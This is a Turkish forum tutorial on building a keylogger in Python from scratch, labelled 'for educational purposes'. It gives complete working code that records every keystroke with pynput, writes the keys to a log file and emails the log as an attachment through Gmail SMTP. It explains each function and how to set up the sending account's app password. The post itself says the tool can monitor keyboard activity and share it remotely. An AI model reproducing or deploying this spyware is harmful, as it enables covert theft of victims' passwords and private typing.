Neler yeni

Sıfırdan Keylogger Yapımı [Eğitim Amaçlıdır]

[XFB] Konu Bilgileri

Konu Hakkında Merhaba, tarihinde Python kategorisinde kokensoft tarafından oluşturulan Sıfırdan Keylogger Yapımı [Eğitim Amaçlıdır] başlıklı konuyu okuyorsunuz. Bu konu şimdiye dek 8 kez görüntülenmiş, 0 yorum ve 0 tepki puanı almıştır...
Kategori Adı Python
Konu Başlığı Sıfırdan Keylogger Yapımı [Eğitim Amaçlıdır]
Konbuyu başlatan kokensoft
Başlangıç tarihi
Cevaplar
Görüntüleme
İlk mesaj tepki puanı
Son Mesaj Yazan kokensoft

kokensoft

Yönetici
Yönetici
Katılım
1 Eyl 2024
Mesajlar
22
Tepkime puanı
2
Puanları
3
Merhaba Koken Soft ailesi bugün sizlere sıfırdan nasıl keylogger yapılacağını ve bununla birlikte keyloggerın çalışma mantığını göstermeye çalışacağım.
Ama bu konuyu okumadan önce bunun tamamen eğitim amaçlı olduğunu unutmayınız. Neyse fazla uzatmadan konumuza geçelim:

NOT: Kullanacağım dil kategoride de belirtiğim üzere Python dili olacaktır ve tamamen Keylogger'ın temelini göstereceğim.


Öncellikle kütüphanelerimizi indirelim.

Python:
import time

import os

from pynput.keyboard import Key, Listener

import smtplib

from email.mime.multipart import MIMEMultipart

from email.mime.base import MIMEBase

from email import encoders



Buradaki kütüphanelerin 5 tanesi zaten Python'da gömülü kütüphanelerdir. Burada tek indirmemiz gereken kütüphane Pynput kütüphanesidir ki onu da şu şekilde kurabilirsiniz :


Kod:
pip install pynput


Kütüphaneleri kurduğumuza göre bir sonraki adıma geçebiliriz yani fonksiyonları oluşturmaya önce kodu vereceğim sonrasında açıklayarak ilerleyeceğim.


Python:
def main():

global dosya_yolu



klasor_adı = "deneme"

dosya_adı = "deneme.txt"




klasor_yolu = os.path.join(dosya_yolu, klasor_adı)

os.makedirs(klasor_yolu, exist_ok=True)

print(f"{klasor_adı} adlı klasör oluşturuldu.")



dosya_yolu = os.path.join(klasor_yolu, dosya_adı)

with open(dosya_yolu, 'wb') as dosya:

dosya.write("Bu bir deneme dosyasıdır.\nİçeriği istediğiniz gibi düzenleyebilirsiniz.".encode('utf-8'))

print(f"{dosya_adı} adlı dosya oluşturuldu ve içeriği yazıldı.")



return dosya_yolu



  • Oluşturduğumuz Main() Fonksiyonun Özeti:

  • Önce belirtilen bir klasörü oluşturur. (Log dosyasını barındıracak bir klasör oluşturduk)
  • Ardından bu klasör içinde bir dosya oluşturur ve belirli bir içeriği yazar. (deneme.txt dosyamızın içerisinde tutacaktır Logu)
  • Son olarak, oluşturulan dosyanın tam yolunu geri döndürür. (daha sonrasında dosya işlemlerinde işimize yarayacağı için "return" kullandık)


Burayı anladıysak bir sonraki fonksiyonumuza geçelim.




Python:
def on_press(key):

global count, keys

count += 1

print("{0} pressed".format(key))

keys.append(key)



if count >= 10:

count = 0

write_file(keys)

  • Oluşturduğumuz on_press(key) Fonksiyonun Özeti:
  • Bu fonksiyon, her tuşa basıldığında tetiklenir.
  • Tuşa basılma olaylarını bir listeye kaydeder ve her tuş basıldığında sayaç (count) bir artırılır.
  • Sayaç 10'a ulaştığında, tuş bilgilerini bir dosyaya yazar ve sayaç sıfırlanır.

Bu fonksiyon projemizdeki kritik bir fonksiyon olduğu için sadece özetlemekle kalmayacağım biraz detaya girip açıklayacağım:

1-) Burada oluşturduğumuz " on_press(key) " bir key parametresi isteyen fonksiyon oluşturduk. Ve daha sonrasında global "count" ve "keys" oluşturduk bunun sayesinde fonksiyon içerisinde bu değişkenlere erişebilir ve değiştirilebilir hale getirdik.

2-) "count += 1" burada her tuşa basıldığında count değişkenin değerini 1 sayı artıracak ve bu kaç tuşa basıldığını takip edecektir.

3-) "print("{0} pressed".format(key)):" burada basılan tuşun hangi tuş olduğunu bize göstermesini istiyoruz. ve "keys.append(key)" kodu ile de basılan tuşun bilgisi "keys " adlı listeye eklenmesini sağlıyoruz.

4-) son olarak da "if count >= 10:" burada count değerinin 10'dan büyük ise "count = 0" count değeri ile sıfırlanır ve sonrasında "write_file(keys): keys" listesindeki tuş bilgileri bir dosyaya yazılır.(bu "write_file" fonksiyonunu henüz tanımlamadık ama sonraki fonksiyonumuz ile birlikte onu da tanımlayacağız.


Python:
def write_file(keys):

with open(dosya_yolu , "ab") as file:

for key in keys:

k = str(key).replace("'", "")

if k.find("space") > 0:

file.write("\n".encode('utf8'))

elif k.find("Key") == -1:

file.write(k.encode('utf8'))



def on_release(key):

if key == Key.esc:

print("exit")

return False



Bu her iki fonksiyonda projemiz için kritiktir ondan ötürü bunu da açıklayacağım( Tanımlarken yapay zeka kullanacağım daha anlaşılır olması açısında)

Oluşturdğumuz write_file () Fonksiyonu:​

Bu fonksiyon, keys adlı listeyi alır ve bu listedeki tuş bilgilerini belirtilen dosyaya yazar. İşte adım adım açıklama:

  1. Dosya Açma:
    • with open(dosya_yolu, "ab") as file:
      • dosya_yolu, dosyanın tam yolunu temsil eder ve global olarak tanımlanmış olmalıdır.
      • "ab" modu, dosyayı ekleme (append) modunda ikili (binary) olarak açar. Bu, dosyaya mevcut içeriği bozmadan yeni içerik ekler.
  2. Tuş Bilgilerini İşleme ve Yazma:
    • for key in keys:
      • keys listesindeki her bir tuş bilgisi üzerinde döngü yapar.
    • k = str(key).replace("'", "")
      • key nesnesini stringe dönüştürür ve ' karakterini kaldırır.
    • if k.find("space") > 0:
      • Eğer k stringinde "space" kelimesi varsa (bu, boşluk tuşuna basıldığını gösterir), yeni bir satır ekler:
        • file.write("\n".encode('utf8'))
    • elif k.find("Key") == -1:
      • Eğer k stringinde "Key" kelimesi yoksa (bu, özel bir tuşun basılmadığını gösterir), k stringini dosyaya yazar:
        • file.write(k.encode('utf8'))
Bu fonksiyon, keys listesindeki tuşları işleyerek belirli kurallara göre dosyaya yazar. Boşluk tuşuna basıldığında yeni bir satır ekler, özel tuşları (örneğin, Shift, Ctrl) göz ardı eder ve sadece harf veya sayı gibi karakterleri yazar.

Oluşturduğumuz on_release Fonksiyonu:​

Bu fonksiyon, bir tuş bırakıldığında tetiklenir ve belirli bir tuş (bu örnekte ESC tuşu) bırakıldığında dinleyiciyi durdurur. İşte adım adım açıklama:

  1. Tuş Bırakma Olayını Yakalama:
    • def on_release(key):
      • Bu fonksiyon, bir tuş bırakıldığında çalışır ve bırakılan tuş bilgisi key parametresi olarak alınır.
  2. ESC Tuşunu Kontrol Etme:
    • if key == Key.esc:
      • Eğer bırakılan tuş ESC tuşu ise:
        • print("exit")
          • "exit" mesajını konsola yazdırır.
        • return False
          • return False ifadesi dinleyiciyi durdurur ve programdan çıkış yapar.

Özetle bu her iki fonksiyon verilen tuş bilgilerini dosyaya eklerken, boşluk tuşu için yeni bir satır ekler, diğer karakterleri olduğu gibi yazar ve ESC tuşuna basıldığında da dinleyici(keylogger) durdurulur.

Şimdi ise bir sonraki olan son ve en uzun olan adımımıza geçebiliriz.



Python:
if __name__ == "__main__":

dosya_yolu = main()

count = 0

keys = []



with Listener(on_press=on_press, on_release=on_release) as listener:

listener.join()



time.sleep(2) # 2 saniye bekle



# E-posta gönderme kısmı

email_gonderen = "email gönderecek verici mail yazınız"

email_sifre = "email göndereceğiniz hesaptaki şifrenizi giriniz"

email_alici = "emaili alıcak bir alıcı mail yazınız"



smtp_sunucusu = "smtp.gmail.com"

smtp_portu = 587



mesaj = MIMEMultipart()

mesaj["From"] = email_gonderen

mesaj["To"] = email_alici

mesaj["Subject"] = "Dosya Gönderimi"



dosya_ek = MIMEBase("application", "octet-stream")

dosya_ek.set_payload(open(dosya_yolu, "rb").read())

encoders.encode_base64(dosya_ek)

dosya_ek.add_header("Content-Disposition", f"attachment; filename= {dosya_yolu.split('/')[-1]}")

mesaj.attach(dosya_ek)



try:

smtp_server = smtplib.SMTP(smtp_sunucusu, smtp_portu)

smtp_server.starttls()

smtp_server.login(email_gonderen, email_sifre)

smtp_server.sendmail(email_gonderen, email_alici, mesaj.as_string())

smtp_server.quit()

print("E-posta gönderildi.")

except Exception as e:

print("E-posta gönderilirken hata oluştu:", str(e))



Bu son kısım da özet olarak klavye tuş basımlarını dinleyerek bir dosyaya kaydedecek.
Ardından, belirli bir süre bekledikten sonra bu dosyayı e-posta olarak gönderecek ve program, pynput kütüphanesi ile klavye olaylarını yakalayıp sonrasında smtplib ile e-posta gönderecektir.
Burada sadece Kullanıcı, gönderen e-posta adresi, alıcı e-posta adresi, SMTP sunucu bilgileri ve dosyanın yolunu belirtilmelidir
E-posta gönderimi sırasında herhangi bir hata oluşursa, kullanıcıya bir hata mesajı gösterilir. Bu şekilde, klavye etkinliklerini izlemek ve bu bilgileri uzaktan paylaşmak için kullanılabilir.


Burada dikkat etmenizi istediğim kısım " email_sifre " kısmında hesabınızın şifresini girmeyeceksiniz onun için farklı bir işlem ile google hesapdan bir şifre elde edeceğiz fakat bu işlem çok uzun yazarak ve resim ekleyerek yaparsam fazla gereksiz uzatmış olacağım ondan ötürü bunun için bir video buldum youtube'de o videodaki aşamaları gerçekleştirirseniz o şifreyi elde etmiş olacaksınız



ㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤ



Bu videodaki adımları atlamadan zıplamadan adım adım ilerleyin ve daha sonrasında elde ettiğiniz şifreyi " email_sifre " değişkeninde yazın. Daha sonrasında kodunuzu çalıştırdığınızda şöyle bir görüntü elde etmelisiniz :


ㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤ‎‎‎ ㅤㅤㅤㅤㅤㅤ
 
Üst